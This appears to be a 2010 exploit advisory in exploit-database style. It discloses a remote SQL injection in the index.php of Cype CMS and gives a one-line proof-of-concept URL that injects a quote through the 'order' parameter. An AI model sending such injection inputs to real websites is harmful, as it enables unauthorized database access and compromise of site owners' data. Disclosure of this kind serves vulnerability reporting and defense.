19 lines
No EOL
597 B
Text
19 lines
No EOL
597 B
Text
# Exploit Title: Cype Content Management System Remote SQL Injection Exploit
|
|
# Date: January 1st, 2010
|
|
# Author: Sora
|
|
# Version: Revision 241
|
|
# Tested on: Linux (Backtrack 3)
|
|
|
|
-----------------------------------------
|
|
|
|
> Cype CMS Remote SQL Injection Exploit
|
|
> Author: Sora
|
|
> Contact: vhr95zw [at] hotmail [dot] com
|
|
> Website: http://greyhathackers.wordpress.com/
|
|
> Google Dork: In your dreams, script kiddies.
|
|
|
|
# Exploit Description:
|
|
Cype CMS suffers a remote SQL injection vulnerability in index.php.
|
|
|
|
# Code/Proof of Concept (PoC):
|
|
http://server/index.php?cype=main&page=ranking&order='&job=500 |